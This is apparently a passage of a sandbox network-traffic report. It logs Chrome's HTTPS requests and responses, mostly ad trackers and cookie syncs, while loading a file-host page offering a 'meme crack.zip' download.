2024-06-15 09:15:04 UTC	381	OUT	GET /getuidj HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1
2024-06-15 09:15:04 UTC	954	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 15 Jun 2024 09:15:04 GMT Content-Type: application/json; charset=utf-8 Content-Length: 11 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 2ee3814d-e7c4-4337-b34b-4eb1710f7eff Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 03-Jun-2034 09:15:04 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 173.254.250.90; 173.254.250.90; 942.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com
2024-06-15 09:15:04 UTC	11	IN	Data Raw: 7b 22 75 69 64 22 3a 22 30 22 7d Data Ascii: {"uid":"0"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.16	49846	88.212.201.198	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:04 UTC	561	OUT	GET /hit?t52.6;rhttps%3A//oxy.st/;s1280102424;uhttps%3A//download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.6960083325253306 HTTP/1.1 Host: counter.yadro.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VID=3Avj3L2_2d8p1cRLkH001V8p
2024-06-15 09:15:04 UTC	300	IN	HTTP/1.1 200 OK Server: nginx/1.17.9 Date: Sat, 15 Jun 2024 09:15:04 GMT Content-Type: image/gif Content-Length: 362 Connection: close Expires: Thu, 15 Jun 2023 21:00:00 GMT Pragma: no-cache Cache-control: no-cache Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=86400
2024-06-15 09:15:04 UTC	362	IN	Data Raw: 47 49 46 38 37 61 58 00 1f 00 f3 00 00 00 00 00 66 66 66 e0 e0 e0 ff ff ff 99 00 00 00 00 99 99 33 00 00 66 00 ff aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 00 00 00 00 58 00 1f 00 00 04 fe 10 c8 49 ab bd 38 eb cd 37 fa 60 28 8e 64 69 9e 68 5a 4a 6a eb be 30 ca c6 74 6d 93 f3 ad ef 6e ce ff 40 91 2f 48 e4 0d 8b c8 da 31 c9 ec 01 8c 9e 66 6b d6 c9 04 00 82 ac 76 0b b8 56 bf e0 0f 55 32 18 80 bb 58 02 61 ab 45 6b ca e7 b7 79 22 7e 22 26 70 78 e7 2a 50 b3 b3 6e 7a 15 82 71 16 84 75 75 00 84 7b 69 04 05 05 59 06 06 02 6e 19 8b 85 78 73 63 89 79 66 9d 8a 65 7a 7c 6a 8f 91 93 81 9e a1 a9 9d a1 a0 ad aa ab ac 73 88 77 64 a9 a0 b8 9f 68 7d 8e 05 07 07 92 94 5e 9f ba b9 b7 c4 c7 b7 74 b5 9c c9 c6 b8 bb a4 be c0 a7 c3 ce 82 c8 14 d9 c5 Data Ascii: GIF87aXfff3f,XI87`(dihZJj0tmn@/H1fkvVU2XaEky"~"&px*Pnzquu{iYnxscyfez\|jswdh}^t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.16	49845	46.243.182.89	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:04 UTC	754	OUT	GET /vast?id=5344&w=1263&h=710&mult=1&rw=0&ref=&loc=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&top=&pt=inread&_ts=1718442903095 HTTP/1.1 Host: ads.adlook.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://download.oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: adlm_userId=be95704710834e23ab1e3219ec3785b7
2024-06-15 09:15:05 UTC	391	IN	HTTP/1.1 200 OK Content-Type: application/json Server: Microsoft-IIS/10.0 Set-Cookie: adlm_userId=be95704710834e23ab1e3219ec3785b7; expires=Sat, 14 Jun 2025 21:00:00 GMT; path=/; SameSite=None; secure; samesite=none Access-Control-Allow-Origin: https://download.oxy.st Access-Control-Allow-Credentials: true Date: Sat, 15 Jun 2024 09:15:04 GMT Connection: close Content-Length: 2
2024-06-15 09:15:05 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.16	49850	91.228.74.159	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:04 UTC	772	OUT	GET /pixel;r=1888409421;labels=Categories.technologyandcomputing;rf=0;a=p-6Fv0cGNfc_bw8;url=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8;ref=https%3A%2F%2Foxy.st%2F;uht=2;fpan=0;fpa=P0-2052007182-1718442895609;pbc=;ns=0;ce=1;qjs=1;qv=b70d35e8-20231208114759;cm=;gdpr=0;d=oxy.st;dst=1;et=1718442902355;tzo=240;ogl=;ses=7c707e20-89d0-4f06-b627-c56f11a9a0e9;mdl= HTTP/1.1 Host: pixel.quantserve.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mc=666d5b92-60e70-cef8b-92979
2024-06-15 09:15:05 UTC	520	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:15:04 GMT Content-Type: image/gif Content-Length: 35 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Attribution-Reporting-Register-Trigger: {"event_trigger_data":[{"filters":[{"label":["K0JYi78fXq1otUId/akXtQ=="],"pcode":["p-6Fv0cGNfc_bw8"]}],"trigger_data":"1"}]} Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Pragma: no-cache Strict-Transport-Security: max-age=86400
2024-06-15 09:15:05 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 80 ff ff ff 00 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.16	49854	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:04 UTC	781	OUT	GET /slake/asset/img/favicon/favicon.ico HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:05 UTC	356	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Thu, 06 Jun 2024 05:35:02 GMT Content-Type: image/x-icon Content-Length: 1994 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT ETag: "5eefbeb2-7ca" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 790803 DDG-Cache-Status: HIT
2024-06-15 09:15:05 UTC	1994	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 07 91 49 44 41 54 58 c3 9d 97 6f ac 17 56 7d c6 3f 9f 73 7e 97 ff b7 5c ba ae b4 83 b6 22 c8 9f 48 4b 8c 28 dd d6 34 b1 4a ed d0 75 76 cb d8 b2 65 af 96 a9 4b 36 c1 c5 fd c9 96 bd 5b 4c 4c b6 a4 74 8b 21 6b 0c 75 c9 62 95 35 06 da 2d d1 6e a2 b5 4e b1 98 2c 2d 8c 60 ad b5 78 a1 80 08 dc 52 b8 e5 5e ee f7 d9 8b df 6d ab 0b 9d 65 e7 d5 c9 39 2f 9e e7 3c df 73 9e f3 7c e5 ff 18 37 ee 99 20 8d 41 1a d7 a7 bb 2a 9d 4d 69 be 33 dd 35 e9 dc 98 e6 c2 74 a0 79 21 9d 13 69 1e 49 e3 40 9a fb e9 3c 17 39 09 5c be b0 6e de 1b 62 78 a5 c5 e5 0f 9f a5 3a 32 f0 e7 d2 d8 98 ee e6 74 ef 4c 67 45 9a f3 d3 19 a4 db d3 6c e9 90 46 a5 5b 69 4e a7 33 99 e6 0f 68 3c 91 c6 e3 Data Ascii: PNGIHDR szzIDATXoV}?s~\"HK(4JuveK6[LLt!kub5-nN,-`xR^me9/<s\|7 A*Mi35ty!iI@<9\nbx:2tLgElF[iN3h<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.16	49852	162.19.138.116	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:04 UTC	408	OUT	GET /bounce HTTP/1.1 Host: id5-sync.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#1
2024-06-15 09:15:05 UTC	239	IN	HTTP/1.1 200 OK date: Sat, 15 Jun 2024 09:15:05 GMT vary: Accept-Encoding content-type: text/plain;charset=utf-8 transfer-encoding: chunked strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-06-15 09:15:05 UTC	36	IN	Data Raw: 31 45 0d 0a 7b 22 62 6f 75 6e 63 65 22 3a 7b 22 73 65 74 43 6f 6f 6b 69 65 22 3a 66 61 6c 73 65 7d 7d 0d 0a Data Ascii: 1E{"bounce":{"setCookie":false}}
2024-06-15 09:15:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.16	49799	142.250.186.162	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:04 UTC	718	OUT	GET /pixel?google_nid=captify_dmp&google_cm&dsp=dbm HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIkqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:05 UTC	806	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cm.g.doubleclick.net/pixel?google_nid=captify_dmp&google_cm=&dsp=dbm&google_tc= Date: Sat, 15 Jun 2024 09:15:05 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 296 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Sat, 15-Jun-2024 09:30:05 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-15 09:15:05 UTC	296	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 63 61 70 74 69 66 79 5f 64 6d 70 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 6d 3d 26 61 6d 70 3b 64 73 70 3d 64 62 6d 26 61 6d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cm.g.doubleclick.net/pixel?google_nid=captify_dmp&google_cm=&dsp=dbm&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.16	49796	35.244.159.8	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:04 UTC	691	OUT	GET /w/1.0/cm?id=f0f39a70-2c21-4d5d-af4b-7350637edcd5&r=https%3A%2F%2Fs.cpx.to%2Fsync%3Fdsp%3DOPENX%26dsp_uid%3D%7BOPENX_ID%7D HTTP/1.1 Host: u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:05 UTC	565	IN	HTTP/1.1 302 Found Set-Cookie: i=2c735cb3-355f-4f5f-8240-fd04eee473db\|1718442905; Version=1; Expires=Sun, 15-Jun-2025 09:15:05 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://u.openx.net/w/1.0/cm?cc=1&id=f0f39a70-2c21-4d5d-af4b-7350637edcd5&r=https%3A%2F%2Fs.cpx.to%2Fsync%3Fdsp%3DOPENX%26dsp_uid%3D%7BOPENX_ID%7D Date: Sat, 15 Jun 2024 09:15:05 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.16	49798	185.89.210.82	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:04 UTC	965	OUT	GET /getuid?https%3A%2F%2Fs.cpx.to%2Ffire.js%3Fdsp%3Dapp_nexus%26dsp_uid%3D%24UID%26pid%3D12771%26ref%3Dhttps%253A%252F%252Foxy.st%252F%26url%3Dhttps%253A%252F%252Fdownload.oxy.st%252Fd%252FSmUh%252F2%252F5744b8343e4600a69fa0181348e90fc8%26hn_ver%3D76%26fid%3D48758480-4109-4e67-8f00-773986908703%26dsp%3DTTD%26dsp_uid%3D7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1
2024-06-15 09:15:05 UTC	1832	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Sat, 15 Jun 2024 09:15:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://secure.adnxs.com/bounce?%2Fgetuid%3Fhttps%253A%252F%252Fs.cpx.to%252Ffire.js%253Fdsp%253Dapp_nexus%2526dsp_uid%253D%2524UID%2526pid%253D12771%2526ref%253Dhttps%25253A%25252F%25252Foxy.st%25252F%2526url%253Dhttps%25253A%25252F%25252Fdownload.oxy.st%25252Fd%25252FSmUh%25252F2%25252F5744b8343e4600a69fa0181348e90fc8%2526hn_ver%253D76%2526fid%253D48758480-4109-4e67-8f00-773986908703%2526dsp%253DTTD%2526dsp_uid%253D7a9427d7-5567-4b13-ad78-e53aa5bc8a0b AN-X-Request-Uuid: bd67cbaa-7852-4ece-a5e0-d5bcdc117636 Set-Cookie: XANDR_PANID=BIAaH-w0bnmatSRya0ydTBRdHc4FHDoIKKoZImItWMLpfWM3cmF4A8xwYiDO9c6CVLCJjQGif6jRCAJ_4NSb7vBeMePjmVvodRqRSQ9cQow.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 13-Sep-2024 09:15:05 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 03-Jun-2034 09:15:05 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=2348066295523201724; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 13-Sep-2024 09:15:05 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 173.254.250.90; 173.254.250.90; 952.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.16	49797	185.64.191.210	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:04 UTC	676	OUT	GET /AdServer/UCookieSetPug?rd=https%3A%2F%2Fs.cpx.to%2Fsync%3Fdsp%3Dpubmatic%26dsp_uid%3D%23PM_USER_ID HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:05 UTC	567	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 15 Jun 2024 09:15:05 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: KTPCACOOKIE=true; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 13-Sep-2024 09:15:05 GMT; path=/ Location: https://image2.pubmatic.com/AdServer/UCookieSetPug?ird=1&rd=https%3A%2F%2Fs.cpx.to%2Fsync%3Fdsp%3Dpubmatic%26dsp_uid%3D%23PM_USER_ID P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-06-15 09:15:05 UTC	53	IN	Data Raw: 32 61 0d 0a 43 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 2aContent-type: text/html; charset=utf-80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.16	49853	157.90.33.121	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:05 UTC	624	OUT	POST /event?z=651407 HTTP/1.1 Host: system-notify.app Connection: keep-alive Content-Length: 519 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://download.oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:05 UTC	519	OUT	Data Raw: 7b 22 65 76 65 6e 74 22 3a 22 72 65 71 75 65 73 74 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 31 34 30 37 2c 22 73 75 62 69 64 31 22 3a 6e 75 6c 6c 2c 22 73 75 62 69 64 32 22 3a 22 22 2c 22 65 78 74 5f 63 6c 69 63 6b 5f 69 64 22 3a 6e 75 6c 6c 2c 22 63 6c 69 65 6e 74 5f 68 69 6e 74 73 22 3a 7b 22 61 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 78 38 36 22 2c 22 62 69 74 6e 65 73 73 22 3a 22 36 34 22 2c 22 62 72 61 6e 64 73 22 3a 5b 7b 22 62 72 61 6e 64 22 3a 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 31 37 22 7d 2c 7b 22 62 72 61 6e 64 22 3a 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 22 7d 2c 7b 22 62 72 61 6e 64 22 3a 22 43 68 72 6f 6d 69 75 6d 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 Data Ascii: {"event":"request","zone_id":651407,"subid1":null,"subid2":"","ext_click_id":null,"client_hints":{"architecture":"x86","bitness":"64","brands":[{"brand":"Google Chrome","version":"117"},{"brand":"Not;A=Brand","version":"8"},{"brand":"Chromium","version":"
2024-06-15 09:15:05 UTC	762	IN	HTTP/1.1 200 OK Server: Angie Date: Sat, 15 Jun 2024 09:15:05 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://download.oxy.st Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization, X-CSRF-Token Access-Control-Expose-Headers: Authorization Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate, no-store Pragma: no-cache Expires: Tue, 11 Jan 1994 00:00:00 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Model, Sec-CH-UA-Bitness, Sec-CH-UA-Wow64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.16	49855	157.90.33.72	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:05 UTC	556	OUT	OPTIONS /sync?user_id=RW8IAnTqITCB2iufh4wu8t HTTP/1.1 Host: uidsync.net Connection: keep-alive Cache-Control: max-age=0 Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://download.oxy.st User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:05 UTC	751	IN	HTTP/1.1 204 No Content Server: Angie Date: Sat, 15 Jun 2024 09:15:05 GMT Connection: close Access-Control-Allow-Origin: https://download.oxy.st Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization, X-CSRF-Token Access-Control-Expose-Headers: Authorization Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate, no-store Pragma: no-cache Expires: Tue, 11 Jan 1994 00:00:00 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Model, Sec-CH-UA-Bitness, Sec-CH-UA-Wow64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.16	49861	35.244.159.8	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
